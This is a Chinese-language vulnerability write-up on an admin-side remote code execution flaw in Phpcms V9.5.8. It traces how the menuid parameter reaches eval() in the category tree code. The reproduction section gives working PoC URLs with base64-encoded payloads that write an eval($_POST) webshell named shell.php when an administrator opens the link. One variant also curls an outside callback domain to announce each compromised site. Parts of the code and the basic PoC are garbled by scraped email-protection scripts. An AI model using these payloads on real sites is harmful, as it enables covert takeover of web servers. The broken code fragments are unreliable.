Phpcms V9.5.8 后台getshell
==========================
一、漏洞简介
------------
二、漏洞影响
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Phpcms V9.5.8
三、复现过程
------------
### 漏洞分析
代码位于`/phpcms/modules/content/content.php` 第472-532行
public function public_categorys() {
$show_header = '';
$cfg = getcache('common','commons');
$ajax_show = intval($cfg['category_ajax']);
$from = isset($_GET['from']) && in_array($_GET['from'],array('block')) ? $_GET['from'] : 'content';
$tree = pc_base::load_sys_class('tree');
if($from=='content' && $_SESSION['roleid'] != 1) {
$this->priv_db = pc_base::load_model('category_priv_model');
$priv_result = $this->priv_db->select(array('action'=>'init','roleid'=>$_SESSION['roleid'],'siteid'=>$this->siteid,'is_admin'=>1));
$priv_catids = array();
foreach($priv_result as $_v) {
$priv_catids[] = $_v['catid'];
}
if(empty($priv_catids)) return '';
}
$categorys = array();
if(!empty($this->categorys)) {
foreach($this->categorys as $r) {
if($r['siteid']!=$this->siteid || ($r['type']==2 && $r['child']==0)) continue;
if($from=='content' && $_SESSION['roleid'] != 1 && !in_array($r['catid'],$priv_catids)) {
$arrchildid = explode(',',$r['arrchildid']);
$array_intersect = array_intersect($priv_catids,$arrchildid);
if(empty($array_intersect)) continue;
}
if($r['type']==1 || $from=='block') {
if($r['type']==0) {
$r['vs_show'] = "<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=".$r['catid']."&type=show' target='right'>[".L('content_page')."]</a>";
} else {
$r['vs_show'] ='';
}
$r['icon_type'] = 'file';
$r['add_icon'] = '';
$r['type'] = 'add';
} else {
$r['icon_type'] = $r['vs_show'] = '';
$r['type'] = 'init';
$r['add_icon'] = "<a target='right' href='?m=content&c=content&menuid=".$_GET['menuid']."&catid=".$r['catid']."' onclick=javascript:openwinx('?m=content&c=content&a=add&menuid=".$_GET['menuid']."&catid=".$r['catid']."&hash_page=".$_SESSION['hash_page']."','')><img src='".IMG_PATH."add_content.gif' alt='".L('add')."'></a> ";
}
$categorys[$r['catid']] = $r;
}
}
if(!empty($categorys)) {
$tree->init($categorys);
switch($from) {
case 'block':
$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list' target='right'>\$catname</a> \$vs_show</span>";
$strs2 = "<img src='".IMG_PATH."folder.gif'> <a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=category' target='right'>\$catname</a>";
break;
default:
$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid' target='right' onclick='open_list(this)'>\$catname</a></span>";
$strs2 = "<span class='folder'>\$catname</span>";
break;
}
$categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
} else {
$categorys = L('please_add_category');
}
include $this->admin_tpl('category_tree');
exit;
}
复制 文本
在当前函数开始下个断点
跟到526行：
$categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
复制 文本
进入了`get_treeview()`函数，跟入进去，
函数位于 `/phpcms/libs/classes/tree.class.php` 第206-239行。
* @param $myid 表示获得这个ID下的所有子级
* @param $effected_id 需要生成treeview目录数的id
* @param $str 末级样式
* @param $str2 目录级别样式
* @param $showlevel 直接显示层级数，其余为异步显示，0为全部限制
* @param $style 目录样式 默认 filetree 可增加其他样式如'filetree treeview-famfamfam'
* @param $currentlevel 计算当前层级，递归使用 适用改函数时不需要用该参数
* @param $recursion 递归使用 外部调用时为FALSE
function get_treeview($myid,$effected_id='example',$str="<span class='file'>\$name</span>", $str2="<span class='folder'>\$name</span>" ,$showlevel = 0 ,$style='filetree ' , $currentlevel = 1,$recursion=FALSE) {
$child = $this->get_child($myid);
if(!defined('EFFECTED_INIT')){
$effected = ' id="'.$effected_id.'"';
define('EFFECTED_INIT', 1);
} else {
$effected = '';
}
$placeholder = '<ul><li><span class="placeholder"></span></li></ul>';
if(!$recursion) $this->str .='<ul'.$effected.' class="'.$style.'">';
foreach($child as $id=>$a) {
@extract($a);
if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = 'hasChildren'; <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="2e0101cb88acc68090c99380c8b690c98a94cb9facc99489c8868fcb92a16e1c1e1f1f001e19001e1f">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
$floder_status = isset($folder) ? ' class="'.$folder.'"' : '';
$this->str .= $recursion ? '<ul><li'.$floder_status.' id=\''.$id.'\'>' : '<li'.$floder_status.' id=\''.$id.'\'>';
$recursion = FALSE;
if($this->get_child($id)){
eval("\$nstr = \"$str2\";");
$this->str .= $nstr;
if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
} elseif($showlevel > 0 && $showlevel == $currentlevel) {
$this->str .= $placeholder;
}
} else {
eval("\$nstr = \"$str\";");
$this->str .= $nstr;
}
$this->str .=$recursion ? '</li></ul>': '</li>';
}
if(!$recursion) $this->str .='</ul>';
return $this->str;
}
复制 文本
这里有个判断：
if($this->get_child($id))
当第一次执行为ture的时候，还是会再次执行`get_treeview`的内容
$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
第二次执行的时候`$myid`由0变成了1，
这时候的`$newarr`为空，
if就不执行，转而执行elseif和else，而`$str`包含着`menuid`的值，<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="c024795f25707126586fa0e4bb80b0a8b0a9aea6af">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>()}`
，这时候`eval()` 就执行了php代码。
### 漏洞复现
**常规poc：**`https://www.0-sec.org/index.php?m=content&c=content&a=public_categorys&<a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="aec3cbc0dbc7ca938ad5eedec6dec7c0c8c1">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>()}`
**进阶版poc：**`https://www.0-sec.org/index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))}`
> 密码1，这要管理员权限才能代码执行，修改下payload，管理员一访问就在当前域名的首页路径下生成shell。
`print_r(base64_encode("fputs(fopen('shell.php','w'),'<?php eval(\$_POST[2]);');system('curl '.\$_SERVER[\"SERVER_NAME\"].'www.0-sec.org');"));`
> 还有另一种payload，会回显的提醒。自动curl请求你的域名，然后回显网站url
>
> 先输出base64的地址，然后在替换下面的字符串> `https://www.0-sec.org/index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})`
这个字符串有几个点提醒下自己，` assert()`函数执行执行一句php代码，所以在assert前面加个eval，执行多条语句。
参考链接
--------
> https://www.mrwu.red/web/2723.html